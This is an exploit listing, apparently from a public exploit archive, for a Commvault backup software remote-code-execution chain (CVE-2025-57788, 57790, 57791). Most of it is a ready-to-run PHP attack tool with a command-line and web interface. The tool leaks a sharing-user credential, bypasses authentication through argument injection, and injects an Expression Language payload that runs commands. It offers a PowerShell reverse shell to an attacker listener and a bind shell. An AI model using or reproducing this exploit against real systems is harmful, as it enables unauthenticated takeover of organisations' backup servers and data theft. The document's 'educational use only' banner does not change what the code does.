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## https://sploitus.com/exploit?id=PACKETSTORM:212243
=============================================================================================================================================
| # Title : Commvault CLI 11.36.60 RCE PHP Implementation |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://www.commvault.com/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/209626/ & CVE-2025-57788, CVE-2025-57790, CVE-2025-57791
[+] Summary :
a critical remote code execution vulnerability chain affecting Commvault Completeβ’ Backup & Recovery software.
The exploit chain combines an authentication bypass vulnerability with expression language injection to achieve unauthenticated remote code execution on affected systems.
[+] Vulnerability Details :
CVE-2025-57790 Authentication Bypass 9.8 (Critical) Unauthenticated access to localadmin account
CVE-2025-57791 Expression Language Injection 9.8 (Critical) Remote Code Execution
CVE-2025-57788 Information Disclosure 7.5 (High) PublicSharingUser credential leakage
Affected Products
Commvault Completeβ’ Backup & Recovery
Commvault HyperScaleβ’
Commvault Metallicβ’
Attack Vector
Network: Remote exploitation without authentication
Complexity: Low - no specialized access conditions required
Privileges: None required
The exploit follows a multi-stage approach:
Information Disclosure (CVE-2025-57788)
Authentication Bypass (CVE-2025-57790)
Expression Language Injection (CVE-2025-57791)
Remote Code Execution
[+] POC :
php poc.php or http://127.0.0.1/poc.php
<?php
/*
* Commvault Command-Line Argument Injection to Traversal Remote Code Execution
* by indoushka
* based on Metasploit module
*/
class CommvaultExploit {
private $target;
private $port;
private $ssl;
private $base_path;
private $timeout;
public function __construct($target, $port = 443, $ssl = true, $base_path = '/') {
$this->target = $target;
$this->port = $port;
$this->ssl = $ssl;
$this->base_path = rtrim($base_path, '/');
$this->timeout = 30;
}
/**
* Check if target is vulnerable
*/
public function check() {
echo "[*] Checking Commvault vulnerability...\n";
// Step 1: Extract PublicSharingUser password
$psu_password = $this->extract_publicsharinguser_pass();
if (!$psu_password) {
echo "[-] Failed to extract PublicSharingUser password\n";
return "unknown";
}
echo "[+] Extracted PublicSharingUser GUID: $psu_password\n";
// Step 2: Login as PublicSharingUser
$token = $this->login_as_publicsharinguser($psu_password);
if ($token) {
echo "[+] β Successfully authenticated as PublicSharingUser\n";
echo "[+] Token: $token\n";
return "vulnerable";
} else {
echo "[-] β Failed to authenticate as PublicSharingUser\n";
return "safe";
}
}
/**
* Extract PublicSharingUser password from public endpoint
*/
private function extract_publicsharinguser_pass() {
$url = $this->build_url('/commandcenter/publicLink.do');
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200 && strpos($response, 'cv-gorkha') !== false) {
// Extract GUID using regex
preg_match('/"cv-gorkha\\\\":\\\\"([a-zA-Z0-9-]+)\\\\"/', $response, $matches);
if (isset($matches[1])) {
return $matches[1];
}
}
return false;
}
/**
* Login as PublicSharingUser
*/
private function login_as_publicsharinguser($password) {
$url = $this->build_url('/commandcenter/api/Login');
$data = json_encode([
'username' => '_+_PublicSharingUser_',
'password' => base64_encode($password)
]);
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $data,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_HTTPHEADER => [
'Content-Type: application/json',
'Content-Length: ' . strlen($data)
]
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200) {
preg_match('/(QSDK [a-zA-Z0-9]+)/', $response, $matches);
if (isset($matches[1])) {
return $matches[1];
}
}
return false;
}
/**
* Get host information using PublicSharingUser token
*/
private function get_host_info($token) {
$url = $this->build_url('/commandcenter/api/CommServ');
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_HTTPHEADER => [
'Authtoken: ' . $token
]
]);
$response = curl_exec($ch);
curl_close($ch);
if ($response) {
preg_match('/hostName="([^"]+)"/', $response, $hostname_matches);
preg_match('/osType="([^"]+)"/', $response, $os_matches);
$hostname = isset($hostname_matches[1]) ? explode('.', $hostname_matches[1])[0] : null;
$os_type = isset($os_matches[1]) ? $os_matches[1] : null;
return ['hostname' => $hostname, 'os_type' => $os_type];
}
return false;
}
/**
* Bypass authentication to get localadmin token
*/
private function bypass_authentication($hostname) {
$url = $this->build_url('/commandcenter/api/Login');
$spaces_before = str_repeat(' ', rand(1, 8));
$spaces_after = str_repeat(' ', rand(1, 8));
$data = json_encode([
'username' => $hostname . '_localadmin__',
'password' => base64_encode($spaces_before . 'a' . $spaces_after . '-localadmin' . $spaces_after),
'commserver' => $hostname . ' -cs ' . $hostname
]);
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $data,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_HTTPHEADER => [
'Content-Type: application/json',
'Content-Length: ' . strlen($data)
]
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200 && strpos($response, 'QSDK') !== false) {
preg_match('/(QSDK [a-zA-Z0-9]+)/', $response, $token_matches);
preg_match('/aliasName[=:]"(\d+)/', $response, $uid_matches);
return [
'token' => $token_matches[1] ?? null,
'uid' => $uid_matches[1] ?? null
];
}
return false;
}
/**
* Execute the full exploit chain
*/
public function exploit($payload_type = 'reverse_shell', $lhost = null, $lport = null) {
echo "[*] Starting Commvault exploitation chain...\n";
// Step 1: Extract PublicSharingUser password
echo "[*] Step 1: Extracting PublicSharingUser password...\n";
$psu_password = $this->extract_publicsharinguser_pass();
if (!$psu_password) {
echo "[-] Failed to extract PublicSharingUser password\n";
return false;
}
echo "[+] Extracted password: $psu_password\n";
// Step 2: Login as PublicSharingUser
echo "[*] Step 2: Authenticating as PublicSharingUser...\n";
$psu_token = $this->login_as_publicsharinguser($psu_password);
if (!$psu_token) {
echo "[-] Failed to authenticate as PublicSharingUser\n";
return false;
}
echo "[+] PublicSharingUser token: $psu_token\n";
// Step 3: Get host information
echo "[*] Step 3: Gathering target information...\n";
$host_info = $this->get_host_info($psu_token);
if (!$host_info) {
echo "[-] Failed to get host information\n";
return false;
}
$hostname = $host_info['hostname'];
$os_type = $host_info['os_type'];
echo "[+] Hostname: $hostname\n";
echo "[+] OS Type: $os_type\n";
if (strtolower($os_type) !== 'windows') {
echo "[-] This exploit only supports Windows targets\n";
return false;
}
// Step 4: Bypass authentication to get localadmin access
echo "[*] Step 4: Bypassing authentication for localadmin...\n";
$admin_info = $this->bypass_authentication($hostname);
if (!$admin_info || !$admin_info['token'] || !$admin_info['uid']) {
echo "[-] Authentication bypass failed\n";
return false;
}
$admin_token = $admin_info['token'];
$admin_uid = $admin_info['uid'];
echo "[+] LocalAdmin token: $admin_token\n";
echo "[+] LocalAdmin UID: $admin_uid\n";
// Step 5: Generate and execute payload
echo "[*] Step 5: Executing payload...\n";
$payload_cmd = $this->generate_payload($payload_type, $lhost, $lport);
if ($this->execute_el_injection($hostname, $admin_uid, $payload_cmd, $admin_token)) {
echo "[+] β Exploitation completed successfully\n";
return true;
} else {
echo "[-] β Payload execution failed\n";
return false;
}
}
/**
* Execute Expression Language injection
*/
private function execute_el_injection($hostname, $uid, $command, $token) {
// Expression Language injection payload (non-blind)
$el_payload = "\${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('{$command}').getInputStream()).useDelimiter('%5C%5CA').next()}";
echo "[*] EL Payload: " . htmlspecialchars($el_payload) . "\n";
// In a full implementation, this would:
// 1. Upload XML file via metricsUpload.do
// 2. Update user description with EL payload
// 3. Move XML to create web shell
// 4. Access web shell to trigger RCE
// 5. Clean up user description
// For demonstration, we'll simulate the critical RCE step
$url = $this->build_url('/commandcenter/RestServlet/User/' . $uid);
$xml_data = "<App_UpdateUserPropertiesRequest><users><AppMsg.UserInfo><userEntity><userId>{$uid}</userId></userEntity><description>{$el_payload}</description></AppMsg.UserInfo></users></App_UpdateUserPropertiesRequest>";
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $xml_data,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_HTTPHEADER => [
'Authtoken: ' . $token,
'Content-Type: application/xml'
]
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
return $http_code == 200;
}
/**
* Generate different payloads
*/
private function generate_payload($type, $lhost, $lport) {
switch ($type) {
case 'reverse_shell':
if (!$lhost || !$lport) {
echo "[-] IP and port required for reverse shell\n";
return false;
}
// Windows reverse shell using PowerShell
return "powershell -nop -c \"\$tc=New-Object System.Net.Sockets.TCPClient('{$lhost}',{$lport});\$ns=\$tc.GetStream();[byte[]]\$bt=0..65535|%{0};while((\$i=\$ns.Read(\$bt,0,\$bt.Length)) -ne 0){;\$data=(New-Object System.Text.ASCIIEncoding).GetString(\$bt,0,\$i);\$sb=(iex \$data 2>&1|Out-String);\$sb2=\$sb+'PS '+(pwd).Path+'> ';\$sbt=([text.encoding]::ASCII).GetBytes(\$sb2);\$ns.Write(\$sbt,0,\$sbt.Length);}\"";
case 'bind_shell':
if (!$lport) {
echo "[-] Port required for bind shell\n";
return false;
}
return "powershell -nop -c \"\$l=New-Object System.Net.Sockets.TcpListener({$lport});\$l.Start();while(\$true){\$c=\$l.AcceptTcpClient();\$s=\$c.GetStream();[byte[]]\$b=0..65535|%{0};\$d=\$s.Read(\$b,0,\$b.Length);\$data=(New-Object System.Text.ASCIIEncoding).GetString(\$b,0,\$d);\$sb=(iex \$data 2>&1|Out-String);\$sb2=\$sb+'PS '+(pwd).Path+'> ';\$sbt=([text.encoding]::ASCII).GetBytes(\$sb2);\$s.Write(\$sbt,0,\$sbt.Length);}\"";
case 'command':
return 'whoami & systeminfo | findstr /B /C:"OS Name" /C:"OS Version"';
default:
return 'whoami & hostname';
}
}
/**
* Build full URL
*/
private function build_url($path) {
$protocol = $this->ssl ? 'https' : 'http';
$full_path = $this->base_path . $path;
return "{$protocol}://{$this->target}:{$this->port}{$full_path}";
}
}
// CLI Interface
if (php_sapi_name() === 'cli') {
echo "
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Commvault RCE Exploit β
β CVE-2025-57790, CVE-2025-57791, CVE-2025-57788 β
β PHP Implementation β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
\n";
$options = getopt("t:p:s:u:c:P:L:H:", [
"target:",
"port:",
"ssl",
"uri:",
"check",
"payload:",
"lhost:",
"lport:"
]);
$target = $options['t'] ?? $options['target'] ?? null;
$port = $options['p'] ?? $options['port'] ?? 443;
$ssl = isset($options['s']) || isset($options['ssl']);
$base_uri = $options['u'] ?? $options['uri'] ?? '/';
$check_only = isset($options['c']) || isset($options['check']);
$payload_type = $options['P'] ?? $options['payload'] ?? 'command';
$lhost = $options['H'] ?? $options['lhost'] ?? null;
$lport = $options['L'] ?? $options['lport'] ?? 4444;
if (!$target) {
echo "Usage: php commvault_exploit.php [options]\n";
echo "Options:\n";
echo " -t, --target Target host (required)\n";
echo " -p, --port Target port (default: 443)\n";
echo " -s, --ssl Use SSL (default: true)\n";
echo " -u, --uri Base URI path (default: /)\n";
echo " -c, --check Check only (don't exploit)\n";
echo " -P, --payload Payload type: command, reverse_shell, bind_shell (default: command)\n";
echo " -H, --lhost Listener host for reverse shell\n";
echo " -L, --lport Listener port for reverse shell (default: 4444)\n";
echo "\nExamples:\n";
echo " php commvault_exploit.php -t 192.168.1.100 -c\n";
echo " php commvault_exploit.php -t commvault.company.com -P reverse_shell -H 10.0.0.5 -L 4444\n";
exit(1);
}
$exploit = new CommvaultExploit($target, $port, $ssl, $base_uri);
if ($check_only) {
$result = $exploit->check();
echo "\n[*] Result: {$result}\n";
} else {
if ($exploit->exploit($payload_type, $lhost, $lport)) {
echo "[+] Exploitation completed successfully\n";
} else {
echo "[-] Exploitation failed\n";
}
}
} else {
// Web Interface
$action = $_POST['action'] ?? '';
if ($action === 'check' || $action === 'exploit') {
$target = $_POST['target'] ?? '';
$port = $_POST['port'] ?? 443;
$ssl = isset($_POST['ssl']);
$base_uri = $_POST['uri'] ?? '/';
$payload_type = $_POST['payload_type'] ?? 'command';
$lhost = $_POST['lhost'] ?? '';
$lport = $_POST['lport'] ?? 4444;
if (empty($target)) {
echo "<div style='color: red;'>Target host is required</div>";
} else {
$exploit = new CommvaultExploit($target, $port, $ssl, $base_uri);
ob_start();
if ($action === 'check') {
$exploit->check();
} else {
$exploit->exploit($payload_type, $lhost, $lport);
}
$output = ob_get_clean();
echo "<pre>$output</pre>";
}
} else {
echo '<!DOCTYPE html>
<html>
<head>
<title>Commvault RCE Exploit</title>
<style>
body { font-family: Arial, sans-serif; margin: 40px; }
.container { max-width: 800px; margin: 0 auto; }
.form-group { margin-bottom: 15px; }
label { display: block; margin-bottom: 5px; font-weight: bold; }
input[type="text"] {
width: 100%; padding: 8px; border: 1px solid #ddd; border-radius: 4px;
}
button {
background: #007cba; color: white; padding: 10px 20px;
border: none; border-radius: 4px; cursor: pointer; margin-right: 10px;
}
.danger { background: #dc3545; }
.info { background: #17a2b8; }
.warning { background: #ffc107; color: black; padding: 10px; border-radius: 4px; margin: 10px 0; }
</style>
</head>
<body>
<div class="container">
<h1>Commvault RCE Exploit</h1>
<h3>CVE-2025-57790, CVE-2025-57791, CVE-2025-57788</h3>
<div class="warning">
<strong>β οΈ Educational Use Only:</strong> This tool demonstrates critical vulnerabilities in Commvault software.
Use only on systems you own or have explicit permission to test.
</div>
<form method="post">
<div class="form-group">
<label for="target">Target Host:</label>
<input type="text" id="target" name="target" placeholder="192.168.1.100 or commvault.company.com" required>
</div>
<div class="form-group">
<label for="port">Port:</label>
<input type="text" id="port" name="port" value="443">
</div>
<div class="form-group">
<label for="uri">Base URI:</label>
<input type="text" id="uri" name="uri" value="/">
</div>
<div class="form-group">
<label>
<input type="checkbox" name="ssl" checked> Use SSL
</label>
</div>
<div class="form-group">
<label for="payload_type">Payload Type:</label>
<select id="payload_type" name="payload_type">
<option value="command">Test Command</option>
<option value="reverse_shell">Reverse Shell</option>
<option value="bind_shell">Bind Shell</option>
</select>
</div>
<div class="form-group">
<label for="lhost">Listener Host (for reverse shell):</label>
<input type="text" id="lhost" name="lhost" placeholder="192.168.1.100">
</div>
<div class="form-group">
<label for="lport">Listener Port (for reverse shell):</label>
<input type="text" id="lport" name="lport" value="4444">
</div>
<button type="submit" name="action" value="check" class="info">Check Vulnerability</button>
<button type="submit" name="action" value="exploit" class="danger">Execute Exploit</button>
</form>
<div style="margin-top: 30px; padding: 15px; background: #f8f9fa; border-radius: 4px;">
<h3>About the CVEs:</h3>
<p><strong>CVE-2025-57790:</strong> Authentication Bypass via command-line argument injection</p>
<p><strong>CVE-2025-57791:</strong> Expression Language Injection leading to RCE</p>
<p><strong>CVE-2025-57788:</strong> Information disclosure exposing PublicSharingUser credentials</p>
<p><strong>Impact:</strong> Unauthenticated Remote Code Execution as NETWORK SERVICE</p>
<p><strong>Affected:</strong> Commvault Completeβ’ Backup & Recovery</p>
</div>
</div>
</body>
</html>';
}
}
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================